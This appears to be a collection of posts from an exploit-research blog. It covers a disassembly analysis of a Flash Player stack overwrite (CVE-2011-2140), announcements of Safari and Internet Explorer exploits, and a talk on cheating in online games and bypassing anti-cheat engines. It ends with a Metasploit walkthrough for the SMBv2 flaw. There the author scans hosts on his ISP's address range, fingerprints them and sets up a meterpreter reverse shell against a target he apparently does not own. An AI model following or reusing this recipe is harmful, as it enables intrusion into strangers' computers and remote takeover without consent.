Exploiting CVE-2011-2140 another flash player vulnerability

hello all .

before going future we are sorry to not update blog regularly, but it’s due to we are busy with stack of projects and also working on our expert training courses.

so as we didn’t post any blog post here we go with another flash player exploit we wrote long time ago.


1) Advisory information


  Title                   :  Adobe flash player memory overwrite exploit   Version             :  <=  Discovery         :  http://www.zerodayinitiative.com/advisories/ZDI-11-276/  Vendor             :  http://adobe.com

  Impact              :  Critical

  Contact            :   info  [at] abysssec.com

  Twitter             :   @abysssec


2) Vulnerability Information


Class        1- Stack OverwriteImpactSuccessfully exploiting this issue allows remote attackers to gain code execution on vulnerable system

Remotely Exploitable


Locally Exploitable




3) Vulnerabilities detail


1- Stack overwrite vulnerability


Before we go deep into the vulnerability for understanding this vulnerability you should take a look at MP4 format and H.264/AVC data structures.The actual vulnerability occurs during processing data units in Sequence Parameter Set in MP4. Sub_1005B396 function, is responsible for processing   Sequence Parameter Set. In this function pic_order_cnt_type from SPS will be check, if it’s equal with 1, other fields like data_pic_order_always_zero_flag , offset_for_non_ref_pic , offset_for_top_to_bottom_field  will be initialize :

.text:1005B396 sub_1005B396    proc near               ; CODE XREF: sub_1005B8DB+4Bp.text:1005B397                 push    ebp.text:1005B398                 push    esi.text:1005B399                 push    edi

.text:1005B39A                 mov     edi, ecx

.text:1005B39C                 call    sub_1005A95B

.text:1005B3A1                 mov     esi, [esp+10h+arg_0]

.text:1005B3A5                 mov     ecx, edi

.text:1005B3A7                 mov     [esi], al



.text:1005B47D                 mov     ecx, edi

.text:1005B47F                 mov     [esi+20h], eax

.text:1005B482                 call    sub_1005AA64

.text:1005B487                 mov     [esi+40h], eax

.text:1005B48A                 cmp     eax, ebp             à     if( pic_order_cnt_type )

.text:1005B48C                 jnz     short loc_1005B49D



.text:1005B49D loc_1005B49D:                           ; CODE XREF: sub_1005B396+F6j

.text:1005B49D                 xor     ebx, ebx

.text:1005B49F                 inc     ebx

.text:1005B4A0                 cmp     eax, ebx            à       if( pic_order_cnt_type == 1 )

.text:1005B4A2                 jnz     short loc_1005B4EF

.text:1005B4A4                 mov     ecx, edi

.text:1005B4A6                 call    sub_1005A99A    à       offset_for_top_to_bottom_field

.text:1005B4AB                 mov     ecx, edi

.text:1005B4AD                 mov     [esi+48h], al

.text:1005B4B0                 call    sub_1005AA93    à        offset_for_non_ref_pic

.text:1005B4B5                 mov     ecx, edi

.text:1005B4B7                 mov     [esi+54h], eax

.text:1005B4BA                 call    sub_1005AA93    à         offset_for_top_to_bottom_field


Then the num_ref_frames_in_pic_order_cnt_cycle will be set and if it’s bigger than 0 the values in offset_for_ref_frame will be copied into buffer.

text:1005B4BF                 mov     ecx, edi.text:1005B4C1                 mov     [esi+50h], eax.text:1005B4C4                call    sub_1005AA64      à    num_ref_frames_in_pic_order_cnt_cycle.text:1005B4C9                 mov     [esi+4Ch], eax

.text:1005B4CC                 test    eax, eax

.text:1005B4CE                 jbe     short loc_1005B4EF

.text:1005B4D0                 lea     eax, [esi+58h]

.text:1005B4D3                 mov     [esp+10h+arg_0], eax


.text:1005B4D7 loc_1005B4D7:                                             à         do{

.text:1005B4D7                 mov     ecx, edi

.text:1005B4D9                 call    sub_1005AA93                    à         offset_for_ref_frame[i]

.text:1005B4DE                 mov     ecx, [esp+10h+arg_0]

.text:1005B4E2                 add     [esp+10h+arg_0], 4            à          buf = &buf + 4

.text:1005B4E7                 inc     ebp                                      à          i++

.text:1005B4E8                 mov     [ecx], eax                           à          buf = offset_for_ref_frame[i]

.text:1005B4EA                 cmp     ebp, [esi+4Ch]

.text:1005B4ED                 jb      short loc_1005B4D7             à          } while(i < num_ref_frames_…)   

You should got the vulnerability at this point. There is no boundary check for num_ref_frames_in_pic_order_cnt_cycle, so our data related to  offset_for_ref_frame will be copy into the stack , that’s all .



2- Exploitation

Thanks to windows memory manager, browser and class of bug it’s not that hard to archive RCE. The only thing that should care about is return address. Because values which copied from MP4 file into stack, come with the changes. In other words, these values ​​after reading from file will be decode and then are copied into stack. Values ​​are copied into the buffer are generated from values in file into Signed Exp-Golomb code.After taking controll of EIP it’s easy to finish the job we used basic heap spray.

here is reliable exploit : CVE-2011-2140

happy hunting !



Exploit for CVE-2011-0222 Safari SVG Vulnerability

Hello all again

we are here with a patched vuln again and this time apple safari one .



actually it’s not that really odd to see your 0day got patched in vendor big patches and this time this happened to US too.

our safari vulnerability got patched and we decide to public our windows exploit + stand alone trigger without any pop up and finally a simple ROP to DEP bypass .

no more explanation this time check out exploit code.



as always feel free to contact us : info [at] abysssec.com

follow @twitter for updates




Hacking / Exploiting / Cheating in Online Games

Hello to all readers.

we know that there are thousands and millions of online game players around and we guess lots of them may like to cheat this is our totally offensive research that we did to present in immunity infiltrate and as we missed that so here we go .


This research is about hacking /exploiting / cheating in online games and is sponsored by immunity.


This is a six part talk and contains:


Part I   : introduction

Part II: Hacking Online Game Servers

Part III: Exploiting Online Games

Part IV: Cheating in Online games

Part V   : Creating your own cheats

Part VI: Bypassing anti-cheat engines


Real world cheating is mainly focused on in this talk as it’s fun and legal.
During this talk we will have a tour into all the ways to manipulate an online game
and we will end up with bypassing the latest anti-cheating technologies and
manipulating the game to our heart’s desire.


Our case studies are:


1 -counter strike (half-life) as game:


2- SXE-Injected and Valve-anti cheat (VAC) as anti-cheat engines

Our codes will be release soon as soon we can but if you are hurry to use some cheats you can find almost all necessary codes in slides also there is two demos for proofing our research. We really enjoyed this research and it’s done from our side hope you enjoy too.


You can download slides here:

ppt : Exploiting-Online-Games

Font : in case if you have problem with embedded one

PDF : Exploiting-Online-Games

PS 1 : video demos are ready but due to those are huge we need to find a better way to compress them after that we will post them here.

PS 2 : Tools will be release after a while .

For getting updates about tools / videos please follow @abysssec in twitter.


For any question please contact:


Shahin [at] abysssec.com


For any other requirement please contact:


Info [at] abysssec.com


Kind Regards

Exploiting Internet Explorer 8 on Windows 7

hello all.

Our Demo is clear enough. maybe we release some more detail’s later.

embedded by Embedded Video

good luck

Exploiting Vista / 2008 Using SMBV2 Exploit

hello all

in a few recent days i worked on smbv2 ProcessID Function Table Dereference vulnerability and after lots of work actually i got my shell after kostya and rest of Immunity. but there is a good news for you Stephen Fewer finally released his exploit for metasploit too.

a note : stephen exploit is no so reliable refer to selecting address in HAL  but it’s free …

metasploit 3.3 DEV have this module by default .

and here are steps for exploitation using metasploit

step 0:

run msfconsole.bat

step 1 :

scanning for targets
msf > use auxiliary/scanner/smb/smb2
msf auxiliary(smb2) > set RHOSTS xx.xx.xx.x-xx.xx.xx.254
RHOSTS =>xx.xx.xx.x-xx.xx.xx.254
msf auxiliary(smb2) > set THREADS 50
msf auxiliary(smb2) > run

for example i found on my ADSL range  :

[*] xx.xx.xx.x supports SMB 2 [dialect 255.2] and has been online for 285 hours

step 2 :

now you need check version of founded target (i think it’s better to know before send your exploit)

msf auxiliary(smb2) > use auxiliary/scanner/smb/version
msf auxiliary(version) > set RHOSTS xx.xx.xx.x
RHOSTS => xx.xx.xx.x
msf auxiliary(version) > run

[*] xx.xx.xx.x is running Windows 7 Ultimate (Build 7100) (language: Unknown)
[*] Auxiliary module execution completed
msf auxiliary(version) > set RHOSTS xx.xx.xx.x
RHOSTS => xx.xx.xx.x
msf auxiliary(version) > run

[*] xx.xx.xx.x  is running Windows 7 Ultimate (Build 7229) (language: Unknown)
[*] Auxiliary module execution completed
msf auxiliary(version) > set RHOSTS xx.xx.xx.x
RHOSTS => xx.xx.xx.x
msf auxiliary(version) > run

[*] xx.xx.xx.x is running Windows Vista Home Basic Service Pack 2 (language: Unknown)
[*] Auxiliary module execution completed

as you may noticed i just found one windows vista and two others are windows 7 .this exploit will work against vista sp1-2 and windows 2008 (not rc2)

step 3 :

now you can set and send exploit

msf auxiliary(version) > use exploit/windows/smb/smb2_negotiate_func_index
msf exploit(smb2_negotiate_func_index) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
set msf exploit(smb2_negotiate_func_index) > set LPORT 5678
LPORT => 5678
msf exploit(smb2_negotiate_func_index) > set LHOST xx.xx.xx.x
LHOST => xx.xx.xx.x
msf exploit(smb2_negotiate_func_index) > set RHOST xx.xx.xx.x
RHOST => xx.xx.xx.x
msf exploit(smb2_negotiate_func_index) > exploit

and here is output of metasploit exploit on my target :

note : i will try to have a technical detail post  for exploitation and also my version of exploit for you soon.

happy hunting




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